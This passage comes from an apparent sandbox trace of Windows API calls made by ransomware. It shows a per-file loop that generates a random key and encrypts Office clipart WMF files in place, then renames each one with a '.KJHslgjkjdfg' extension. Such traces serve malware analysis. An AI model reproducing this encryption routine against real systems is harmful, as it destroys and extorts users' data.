RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.733] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.734] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x212e, lpOverlapped=0x0) returned 1 [0173.735] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2130, dwBufLen=0x2130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2130) returned 1 [0173.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.735] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2130, lpOverlapped=0x0) returned 1 [0173.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.735] SetEndOfFile (hFile=0x114) returned 1 [0173.738] GetProcessHeap () returned 0x2a0000 [0173.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.738] GetProcessHeap () returned 0x2a0000 [0173.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.kjhslgjkjdfg")) returned 1 [0173.739] CloseHandle (hObject=0x114) returned 1 [0173.739] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0173.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.741] GetProcessHeap () returned 0x2a0000 [0173.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.741] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.743] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.743] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.743] GetProcessHeap () returned 0x2a0000 [0173.743] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.743] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.743] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.744] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1104, lpOverlapped=0x0) returned 1 [0173.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1110, dwBufLen=0x1110 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1110) returned 1 [0173.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.745] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1110, lpOverlapped=0x0) returned 1 [0173.745] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.745] SetEndOfFile (hFile=0x114) returned 1 [0173.748] GetProcessHeap () returned 0x2a0000 [0173.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.748] GetProcessHeap () returned 0x2a0000 [0173.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.kjhslgjkjdfg")) returned 1 [0173.749] CloseHandle (hObject=0x114) returned 1 [0173.749] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0173.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.750] GetProcessHeap () returned 0x2a0000 [0173.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.750] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.752] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.752] GetProcessHeap () returned 0x2a0000 [0173.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.752] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.752] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.752] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.753] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.753] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.753] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.753] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c68, lpOverlapped=0x0) returned 1 [0173.754] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c70, dwBufLen=0x3c70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c70) returned 1 [0173.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.755] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c70, lpOverlapped=0x0) returned 1 [0173.755] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.755] SetEndOfFile (hFile=0x114) returned 1 [0173.758] GetProcessHeap () returned 0x2a0000 [0173.758] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.758] GetProcessHeap () returned 0x2a0000 [0173.758] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.kjhslgjkjdfg")) returned 1 [0173.759] CloseHandle (hObject=0x114) returned 1 [0173.759] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0173.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.760] GetProcessHeap () returned 0x2a0000 [0173.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.760] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.760] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.760] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.762] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.762] GetProcessHeap () returned 0x2a0000 [0173.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.762] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.762] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.763] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.763] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.763] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.763] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4844, lpOverlapped=0x0) returned 1 [0173.765] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4850, dwBufLen=0x4850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4850) returned 1 [0173.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.765] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4850, lpOverlapped=0x0) returned 1 [0173.765] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.765] SetEndOfFile (hFile=0x114) returned 1 [0173.768] GetProcessHeap () returned 0x2a0000 [0173.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.768] GetProcessHeap () returned 0x2a0000 [0173.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.kjhslgjkjdfg")) returned 1 [0173.769] CloseHandle (hObject=0x114) returned 1 [0173.769] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0173.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.771] GetProcessHeap () returned 0x2a0000 [0173.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.771] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.776] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.776] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.776] GetProcessHeap () returned 0x2a0000 [0173.776] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.776] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.776] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.776] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.776] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.776] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | 